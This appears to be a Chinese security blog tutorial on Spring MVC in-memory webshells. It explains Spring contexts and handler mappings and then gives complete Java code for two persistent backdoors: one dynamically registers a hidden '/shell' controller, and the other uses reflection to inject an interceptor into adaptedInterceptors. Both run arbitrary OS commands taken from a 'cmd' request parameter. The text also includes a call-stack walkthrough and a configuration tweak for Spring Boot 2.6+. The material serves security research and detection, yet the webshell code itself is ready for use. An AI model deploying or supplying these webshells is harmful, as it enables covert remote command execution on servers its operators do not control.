Spring相关知识
Bean
Bean是被Spring容器管理的对象,SpringBoot使用了SpringFramework的依赖注入(DI)和控制反转(IOC)功能,通过注解将对象注册为Bean,使其能够被自动创建、管理和使用
IoC容器
IoC控制反转(Inversion of Control)也称为应用上下文,是Spring框架的核心概念之一,IoC是一种设计模式,它提供了一种将对象的创建和依赖关系的管理从应用程序代码中解耦的方式,负责对象的创建和依赖关系的管理,你只需要通过注解或配置文件告诉Spring容器哪些类需要被管理,Spring容器就会负责创建这些对象,并自动解析和注入它们的依赖关系
ApplicationContext
ApplicationContext是Spring框架中的一个接口,它是Spring IoC容器的核心接口之一,用于管理和组织Spring Bean对象的创建、配置和依赖注入等操作
ApplicationContext接口继承于BeanFactory接口,获取了ApplicationContext的实例就是获取了IoC容器的引用
WebApplicationContext
WebApplicationContext是一个用于管理Web应用程序的Spring框架的上下文,它是Spring框架中的一个重要组件,用于加载和管理应用程序中的所有bean,以及提供对应用程序配置的访问
RootContext & ChildContext
在Spring中,存在两种类型的上下文:Root Context(根上下文)和Child Context(子上下文)
Root Context是WebApplicationContext的一个实例,它代表整个Web应用程序的上下文,它通常在应用程序的启动阶段被创建,并负责加载和管理与整个应用程序相关的bean和配置。Root Context是整个应用程序的父上下文,所有的子上下文都可以访问和继承Root Context中的bean和配置
Child Context是WebApplicationContext的另一个实例,它代表某个特定的模块或子应用程序的上下文,它可以通过Root Context创建,并可以访问和继承Root Context中的bean和配置。子上下文可以有自己的独立配置和特定的bean定义,同时也可以共享Root Context中的bean。
Controller型内存马
注入原理
需要动态注册内存马,那么就和Tomcat内存马类似,我们需要知道如何动态的注册Controller,我们需要做如下的事情:
- 获取上下文环境,用来获取Bean
- 编写恶意Controller
- 配置Controller路径映射
获取上下文环境
获取上下文环境有四种方法
ContextLoader
WebApplicationContext currentWebApplicationContext = ContextLoader.getCurrentWebApplicationContext();
WebApplicationContextUtils
WebApplicationContext context = WebApplicationContextUtils.getWebApplicationContext(RequestContextUtils.getWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest()).getServletContext());
RequestContextUtils
WebApplicationContext context = RequestContextUtils.getWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest());
getAttribute
WebApplicationContext context = (WebApplicationContext)RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
注册Controller
RequestMappingHandlerMapping
RequestMappingHandlerMapping
是Spring MVC中的核心Bean,用于处理请求映射和路由,RequestMappingHandlerMapping负责解析和处理带有 @RequestMapping
注解的控制器方法,并将其与相应的请求路径进行匹配,它会根据请求的URL路径和其他条件,确定要调用的控制器方法,Spring将Controller解析成 RequestMappingInfo
对象,再注册进RequestMappingHandlerMapping中
RequestMappingHandlerMapping是由Spring进行管理的,所以我们可以直接通过ApplicationContext来获取这个Bean
registerMapping
registerMapping
方法用于在Web应用程序中注册URL映射,它可以将一个URL路径映射到一个特定的Controller方法,以便处理该URL的请求
PatternsRequestCondition
PatternsRequestCondition类用于表示请求URL的匹配条件,类似在SpringBoot中通过 @RequestMapping
来指定某个Controller的访问路径
@RequestMapping(value = "/users")
RequestMethodsRequestCondition
RequestMethodsRequestCondition类用于表示请求方法(HTTP Method)的匹配条件,类似在注解 @RequestMapping
配置允许的请求方法
@RequestMapping(value = "/users", method = {RequestMethod.GET, RequestMethod.POST})
RequestMappingInfo
RequestMappingInfo类用于表示请求映射的详细信息,该类将请求路径和HTTP方法进行关联,在处理请求时,可以根据请求的URL、HTTP方法等信息,来匹配对应的RequestMappingInfo对象
实现恶意Controller
class ControllerMemShell {
public ControllerMemShell() {}
public void cmd() throws IOException {
HttpServletRequest request =
(HttpServletRequest) ((ServletRequestAttributes) RequestContextHolder.getRequestAttributes()).getRequest();
Runtime.getRuntime().exec(request.getParameter("cmd"));
}
}
Controller内存马实现
package com.example.springmemshell;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import javax.servlet.http.HttpServletRequest;
import java.io.IOException;
import java.lang.reflect.Method;
@RestController
public class ControllerShell {
@RequestMapping("/controller")
public void main() throws NoSuchMethodException, IOException {
// 获取WebApplicationContext
WebApplicationContext context =
(WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
// 获取RequestMappingHandlerMapping的Bean对象
RequestMappingHandlerMapping r = context.getBean(RequestMappingHandlerMapping.class);
// 通过反射获取恶意Controller的某个方法
Method method = ControllerMemShell.class.getDeclaredMethod("cmd");
// 指定controller访问URL
PatternsRequestCondition url = new PatternsRequestCondition("/shell");
// 定义允许访问controller的HTTP方法
RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
// 定义请求映射的详细信息
RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
// 注册请求信息
r.registerMapping(info, new ControllerMemShell(), method);
}
class ControllerMemShell {
public ControllerMemShell() {}
public void cmd() throws IOException {
HttpServletRequest request =
(HttpServletRequest) ((ServletRequestAttributes) RequestContextHolder.getRequestAttributes()).getRequest();
Runtime.getRuntime().exec(request.getParameter("cmd"));
}
}
}
根据上面对Controller注册的了解,我们就可以写出Controller内存马
package com.example.springmemshell;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.config.annotation.PathMatchConfigurer;
import org.springframework.web.servlet.config.annotation.WebMvcConfigurer;
import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import javax.servlet.http.HttpServletRequest;
import java.io.IOException;
import java.lang.reflect.Method;
@RestController
public class ControllerShell implements WebMvcConfigurer {
@RequestMapping("/controller")
public void main() throws NoSuchMethodException, IOException {
WebApplicationContext context =
(WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
RequestMappingHandlerMapping r = context.getBean(RequestMappingHandlerMapping.class);
Method method = ControllerMemShell.class.getDeclaredMethod("cmd");
PatternsRequestCondition url = new PatternsRequestCondition("/shell");
RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
r.registerMapping(info, new ControllerMemShell(), method);
}
@Override
public void configurePathMatch(PathMatchConfigurer configurer) {
configurer.setPathMatcher(new org.springframework.util.AntPathMatcher());
}
class ControllerMemShell {
public ControllerMemShell() {}
public void cmd() throws IOException {
HttpServletRequest request =
(HttpServletRequest) ((ServletRequestAttributes) RequestContextHolder.getRequestAttributes()).getRequest();
Runtime.getRuntime().exec(request.getParameter("cmd"));
}
}
}
在SpringBoot2.6.0版本开始,官方修改了URL路径的默认匹配策略,需要在 application.properties
中配置如下信息:
spring.mvc.pathmatch.matching-strategy=ANT_PATH_MATCHER
或者在不改配置的前提下,将这个恶意Controller内存马实现 WebMvcConfigurer
接口,重写 configurePathMatch
方法来修改配置
Interceptor型内存马
Interceptor(拦截器)是Spring MVC框架中用于处理请求的一个重要组件,拦截器允许在控制器处理请求之前和之后执行自定义的逻辑,它提供了一种在请求处理过程中进行预处理和后处理的机制,以实现一些通用的功能和行为,例如身份验证、日志记录、数据转换等
在Spring MVC中有三个拦截器接口:
HandlerInterceptor
这是最常用的拦截器接口,用于拦截请求并进行处理HandlerInterceptorAdapter
是一个适配器类,实现了HandlerInterceptor
接口,并提供了空实现的方法,可以通过继承该类来自定义拦截器WebRequestInterceptor
是一个更底层的拦截器接口,它不仅可以拦截请求,还可以拦截异步请求和WebSocket请求
实现恶意Interceptor
我们选择使用 HandlerInterceptor
接口来实现自定义拦截器,该接口有三个方法
preHandle
方法在请求处理之前进行拦截
postHandle
方法在请求处理之后进行拦截
afterCompletion
方法在整个请求完成之后进行拦截
import org.springframework.web.servlet.HandlerInterceptor;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
public class InterceptorShell implements HandlerInterceptor {
@Override
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
String cmd = request.getParameter("cmd");
if (cmd != null){
Runtime.getRuntime().exec(cmd);
return true;
}
return false;
}
}
我们编写了一个类,实现了 HandlerInterceptor
接口并重写 preHandle
方法,这里我们选择在请求处理之前执行恶意代码
由于我们现在还没有动态的将我们自定义的拦截器添加到拦截器列表中,所以我们目前需要手动的配置SpringMVC配置文件
在SpringMVC配置文件中配置拦截器
<mvc:interceptors>
<mvc:interceptor>
<mvc:mapping path="/*"/>
<bean class="com.InterceptorShell"/>
</mvc:interceptor>
</mvc:interceptors>
再写一个普通的Controller,用于请求Controller从而触发拦截器
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;
@Controller
public class TestController {
@RequestMapping("/index")
@ResponseBody
public String index(){
return "Index Page";
}
}
当我们访问路径为 /index
控制器时,会触发我们写的自定义拦截器的 preHandle
方法,接着我们就可以直接在后面加上 cmd
参数执行命令了
调用栈分析
preHandle:10, InterceptorShell (com)
applyPreHandle:148, HandlerExecutionChain (org.springframework.web.servlet)
doDispatch:1067, DispatcherServlet (org.springframework.web.servlet)
doService:965, DispatcherServlet (org.springframework.web.servlet)
processRequest:1006, FrameworkServlet (org.springframework.web.servlet)
doGet:898, FrameworkServlet (org.springframework.web.servlet)
service:655, HttpServlet (javax.servlet.http)
service:883, FrameworkServlet (org.springframework.web.servlet)
service:764, HttpServlet (javax.servlet.http)
internalDoFilter:227, ApplicationFilterChain (org.apache.catalina.core)
doFilter:162, ApplicationFilterChain (org.apache.catalina.core)
doFilter:53, WsFilter (org.apache.tomcat.websocket.server)
internalDoFilter:189, ApplicationFilterChain (org.apache.catalina.core)
doFilter:162, ApplicationFilterChain (org.apache.catalina.core)
invoke:197, StandardWrapperValve (org.apache.catalina.core)
invoke:97, StandardContextValve (org.apache.catalina.core)
invoke:541, AuthenticatorBase (org.apache.catalina.authenticator)
invoke:135, StandardHostValve (org.apache.catalina.core)
invoke:92, ErrorReportValve (org.apache.catalina.valves)
invoke:687, AbstractAccessLogValve (org.apache.catalina.valves)
invoke:78, StandardEngineValve (org.apache.catalina.core)
service:360, CoyoteAdapter (org.apache.catalina.connector)
service:399, Http11Processor (org.apache.coyote.http11)
process:65, AbstractProcessorLight (org.apache.coyote)
process:890, AbstractProtocol$ConnectionHandler (org.apache.coyote)
doRun:1789, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net)
run:49, SocketProcessorBase (org.apache.tomcat.util.net)
runWorker:1191, ThreadPoolExecutor (org.apache.tomcat.util.threads)
run:659, ThreadPoolExecutor$Worker (org.apache.tomcat.util.threads)
run:61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads)
run:748, Thread (java.lang)
当我们访问某个Controller时,就会调用自定义拦截器 InterceptorShell
类的 preHandle
方法
从调用栈上可以看出在HttpServelt类的service方法中调用的是SpringMVC的FrameworkServlet类的service方法,我们直接看关键方法 doDispatch
,该方法用于实际处理请求的分发和调度
在该方法中调用了 mappedHandler
的 applyPreHandle
方法,往上找发现 mappedHandler
是通过调用 getHandler
方法获得的
在 getHandler
方法中,循环遍历了 handlerMappings
属性的对象并调用了 getHandler
方法
调用 RequestMappingHandlerMapping
的 getHandler
方法时,其实会调用到 AbstractHandlerMethodMapping
的 getHandler
方法
在 AbstractHandlerMapping
类的 getHandler
方法中调用了 getHandlerExecuationChain
方法
HandlerExecutionChain用于封装处理器(Handler)及其相关的拦截器(HandlerInterceptor)
这里先实例化 HandlerExecutionChain
类,再循环遍历 adaptedInterceptors
属性,判断每个 interceptor
是否是 MappedInterceptor
对象的实例,我们写的自定义拦截器不是 MappedInterceptor
对象的实例,则调用 chain
对象的 addInterceptor
方法
在 HandlerExecutionChain
类的 addInterceptor
方法中,调用了 interceptorList
属性的 add
方法,而每个List元素都是 HandlerInterceptor
对象,拦截器链是按照添加顺序依次执行的,在这里就是向拦截器链中添加一个 HandlerInterceptor
实例
注册Interceptor
根据上面的分析,我们大概知道如何来注册Interceptor了,大致流程如下:
- 获取
AbstractHandlerMapping
类的adaptedInterceptors
属性 - 编写一个自定义恶意Interceptor拦截器类
- 将自定义恶意Interceptor拦截器对象添加到
adaptedInterceptors
属性中
只要添加到 adaptedInterceptors
属性中了,就能在拦截器链中按顺序执行拦截器
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.servlet.HandlerInterceptor;
import org.springframework.web.servlet.handler.AbstractHandlerMapping;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.lang.reflect.Field;
import java.util.List;
@Controller
public class InterceptorMemShell {
@ResponseBody
@RequestMapping("/interceptor")
public String RegisterInterceptor() throws NoSuchFieldException, IllegalAccessException {
// 获取上下文环境
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
// 获取AbstractHandlerMapping对象并获取adaptedInterceptors私有属性
AbstractHandlerMapping abstractHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
Field adaptedInterceptorsField = AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
adaptedInterceptorsField.setAccessible(true);
List<Object> adaptedInterceptors = (List<Object>) adaptedInterceptorsField.get(abstractHandlerMapping);
// 将自定义拦截器对象添加到adaptedInterceptors属性中
InterceptorShell interceptorShell = new InterceptorShell();
adaptedInterceptors.add(interceptorShell);
return "Inject Success!";
}
class InterceptorShell implements HandlerInterceptor {
@Override
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
String cmd = request.getParameter("cmd");
if (cmd != null){
Runtime.getRuntime().exec(cmd);
return true;
}
return false;
}
}
}
按照上面的步骤编写代码,先访问 /interceptor
路径,再访问该路径时带上 cmd
参数即可,以上就是Interceptor型内存马的分析与实现
Author: wileysec
Permalink: https://wileysec.github.io/6802f3c82607.html
Comments